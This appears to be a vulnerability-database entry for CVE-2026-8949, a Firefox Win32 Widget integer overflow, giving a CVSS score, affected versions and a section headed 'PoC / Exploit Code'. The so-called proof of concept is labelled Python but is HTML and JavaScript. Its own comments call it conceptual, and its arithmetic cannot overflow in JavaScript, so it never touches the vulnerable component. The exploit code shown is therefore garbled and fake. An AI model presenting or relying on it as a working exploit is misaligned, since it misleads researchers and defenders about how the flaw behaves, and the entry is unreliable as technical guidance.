Integer overflow in the Widget: Win32 component. This vulnerability was fixed in Firefox 151 and Firefox ESR 140.11.
CVSS Details
CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Firefox < 151
Firefox ESR < 140.11
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-8949 -->
<!-- This POC attempts to trigger integer overflow in Firefox Win32 Widget -->
<html>
<body>
<script>
// Simulate the payload that triggers the overflow in vulnerable versions
// Note: Actual exploitation requires specific memory layout and ROP chains
var payload_size = 0x7FFFFFFF; // Max int value to trigger overflow
var trigger_val = 1;
try {
// In a real scenario, this would interact with the DOM or specific API
// that calls into the Win32 Widget component.
var overflow = payload_size + trigger_val;
console.log("Attempting to trigger overflow calculation: " + overflow);
// Trigger rendering or event handling that uses the miscalculated size
// This is a conceptual representation of the trigger mechanism.
var arr = new Array(overflow);
} catch(e) {
console.log("Exception caught: " + e.message);
}
</script>
</body>
</html>